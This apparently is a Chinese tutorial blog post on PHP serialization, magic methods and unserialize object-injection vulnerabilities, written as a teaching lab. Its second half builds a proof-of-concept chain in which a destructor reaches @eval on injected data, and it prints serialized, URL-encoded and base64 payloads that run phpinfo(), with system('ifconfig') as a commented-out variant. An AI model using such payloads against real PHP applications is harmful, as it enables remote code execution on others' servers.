序列化
将对象转换为字符串,便于存储,传输。
只要符合序列化规则的字符串,无论是否有serlallae 函数生成,都可以被反序列化。
反序列化
将字符串转换为对象。
序列化是没有漏洞问题,往往是反序列化时,存在漏洞。
反序列化,将字符串转化为对象。只要一个文件内有多个类,反序列化就可以使用不同类序列化后的字符串进行反序列化。
,字符串是人为可控的。所以就容易造成漏洞。
代码实现序列化反序列化
<?php
$student01 = array('name'=>'张三', 'age'=>30, 'addr'=>'成都高新区', 'phone'=>'18812345678');
$student02 = array('name'=>'李中', 'age'=>30, 'addr'=>'成都高新区', 'phone'=>'18912345676');
$student03 = array('name'=>'王九', 'age'=>25, 'addr'=>'成都高新区', 'phone'=>'19812345678');
$student04 = array('name'=>'赵六', 'age'=>30, 'addr'=>'成都高新区', 'phone'=>'18112345679');
$student05 = array('name'=>'周七', 'age'=>27, 'addr'=>'成都高新区', 'phone'=>'18812345978');
$class01 = array($student01, $student02, $student03, $student04, $student05);
print_r($class01);
echo json_encode($class01); // JSON序列化:将对象转换成字符串,序列化后的字符串是有一定格式的。
// JSON反序列化:把一个字符串再转换成对象
$string = '[{"name":"\u5f20\u4e09","age":30,"addr":"\u6210\u90fd\u9ad8\u65b0\u533a","phone":"18812345678"},{"name":"\u674e\u4e2d","age":30,"addr":"\u6210\u90fd\u9ad8\u65b0\u533a","phone":"18912345676"},{"name":"\u738b\u4e5d","age":25,"addr":"\u6210\u90fd\u9ad8\u65b0\u533a","phone":"19812345678"},{"name":"\u8d75\u516d","age":30,"addr":"\u6210\u90fd\u9ad8\u65b0\u533a","phone":"18112345679"},{"name":"\u5468\u4e03","age":27,"addr":"\u6210\u90fd\u9ad8\u65b0\u533a","phone":"18812345978"}]';
$array = json_decode($string);
print_r($array);
?>
将变量进行序列化:
<?php
header("content-type:text/html;charset=utf-8");
$name = "张三"; // 定义变量
echo serialize($name); // 序列化后的值:s:6:"张三";
echo unserialize('s:6:"张三";');
?>
将数组进行序列化
<?php
header("content-type:text/html;charset=utf-8");
$student = array('name'=>'张三', 'age'=>30, 'addr'=>'成都高新区', 'phone'=>'18812345678');
echo serialize($student);
//输出的内容:a:4:{s:4:"name";s:6:"张三";s:3:"age";i:30;s:4:"addr";s:15:"成都高新区";s:5:"phone";s:11:"18812345678";}
?>
<?php
header("content-type:text/html;charset=utf-8");
$source = 'a:4:{s:4:"name";s:9:"张三娃";s:3:"age";i:30;s:4:"addr";s:15:"成都高新区";s:5:"phone";s:11:"18812345679";}';
$student = unserialize($source); // 将字符串反序列化为数组
print_r($student);
//输出的内容:Array ( [name] => 张三娃 [age] => 30 [addr] => 成都高新区 [phone] => 18812345679 )
?>
反序列化类的过程中,会调用类的析构方法,不会调用类的构造方法。
魔术方法
魔术方法
在php中有下划线的方法是魔术方法。
魔术方法是自动调用的。
- __sleep():在类进行序列化时被调用,并且需要明确定义那些序列化类属性,以数组的形式定义和返回
- __wakeup():在类进行反序列化时被调用,可以在该方法中定义恢复类状态的代码,以便让反序列化的实例可以调用方法。
- __construct(): 构造方法,
- __destruct(): 代码运行结束时,类的实例从内存中释放时,自动调用。只要类有被实例,运行结束后都会执行__destruct。
// 类的构造方法:当类在进行实例化时会触发执行该方法
function __construct($host='127.0.0.1', $username='root', $password='root', $database='learn') {
$this->host = $host;
$this->username = $username;
$this->password = $password;
$this->database = $database;
echo "调用构造方法,并建立数据库的连接 <br/>";
$this->create_connection(); // 每一个实例化的过程,就会执行一次
}
// 类的析构方法:当类的实例使用完并从内存中释放时,将会触发调用该方法
function __destruct() {
echo "调用析构方法,并关闭数据库的连接 <br/>";
mysqli_close($this->conn);
}
// 当类进行序列化时自动调用,并且返回一个数组,包含要实例化的类属性
function __sleep() {
echo "DB类正在进行序列化. <br/>";
return array('host', 'username', 'password', 'database');
}
// 在类进行反序列时调用,并且可以在该方法中定义恢复类状态的代码,以便于让反序列化的实例可以正常调用方法。
function __wakeup() {
echo "DB类正在被反序列化. <br/>";
$this->create_connection(); // 恢复数据库的连接状态
}
反序列化时不会自动调用__construct,同时,调用完__wakeup后,仍然会调用__destruct
下图中就是对上面代码的操作,
- 在实例化一个DB对象时,调用构造方法
- 在将DB类进行序列化时,调用了__sleep() 方法。
- 在对source进行反序列化时,调用了__wakeup() 方法。
- 在所有执行完后,调用__destruct()析构方法。一个是构造方法调用的,一个是反序列化的。(因为在构造方法调用是有实例化类,在反序列化时也有 实例化类,所以关闭类需要执行两次)
在输出反序列的结果时,如果要输出类,要使用print_r(),不能使用echo,输出类的一个属性可以使用echo,比如下面的代码
$b='O:2:"DB":4:{s:4:"host";s:9:"127.0.0.1";s:8:"username";s:4:"root";s:8:"password";s:4:"root";s:8:"database";s:4:"dvwa";}';
$a=unserialize($b);
print_r(unserialize($b));
echo $a->host;


漏洞分析:
poc:自己手写的字符串是不太现实的,(简单的除外),但遇到复杂的,往往需要借助代码进行序列化,
创建一个文件 ustest-1.php,代码如下:

构造poc

class Woniu {
var $a;
function __construct() {
$this->a = new Vul();
}
function __destruct() {
$this->a->hello();
}
}
class Test {
function hello() {
echo "Hello World.";
}
}
class Vul {
var $data = 'phpinfo();';
function hello() {
@eval($this->data);
}
}
$woniu = new Woniu();
echo serialize($woniu);
运行上面的代码,执行效果如下:

得到poc后,在ustest-1.php中执行。
O:5:"Woniu":1:{s:1:"a";O:3:"Vul":1:{s:4:"data";s:10:"phpinfo();";}}

简化后的poc
class Woniu {
var $a;
function __construct() {
$this->a = new Vul();
}
}
class Vul {
var $data = "phpinfo();";
}
要注意,这些类属性的修饰符,当为private,protected,
class Woniu {
private $a;
function __construct() {
$this->a = new Vul();
}
}
class Vul {
protected $data = "phpinfo();";
// protected $data = "system('ifconfig');";
}
echo serialize(new Woniu());
上面代码执行后的结果。
O:5:"Woniu":1:{s:8:"Woniua";O:3:"Vul":1:{s:7:"*data";s:10:"phpinfo();";}}
下面是修改前的结果
O:5:"Woniu":1:{s:1:"a";O:3:"Vul":1:{s:4:"data";s:10:"phpinfo();";}}
对比发现,为private修饰符的 a 在序列化后多了类的名字。
如果这个时候直接把序列化后的字符串带参数传进去,会报如下的错误。

class Woniu {
private $a;
function __construct() {
$this->a = new Vul();
}
}
class Vul {
protected $data = "phpinfo();";
}
echo urlencode(serialize(new Woniu()));//将序列化后的内容进行url编码,将编码结果作为参数执行即可。
下面是url编码后的结果
oniu%22%3A1%3A%7Bs%3A8%3A%22%00Woniu%00a%22%3BO%3A3%3A%22Vul%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
将编码后的结果作为参数,执行结果如下图:

类似的,也可以进行其他的转码,
下面是base64的转码。(url解码是默认的,不要写代码,而base64等其他编码解码的话需要用函数,例如:base64_decode()进行解码)
Tzo1OiJXb25pdSI6MTp7czo4OiIAV29uaXUAYSI7TzozOiJWdWwiOjE6e3M6NzoiACoAZGF0YSI7czoxMDoicGhwaW5mbygpOyI7fX0=
下面是解码,从中会发现为什么字符长度是8位和7位。

也可以直接在Firefox中查看源码:

我们查看url编码后的结果会发现:在上图中像四桶这个的字符其实是 %00
5970

被折叠的 条评论
为什么被折叠?



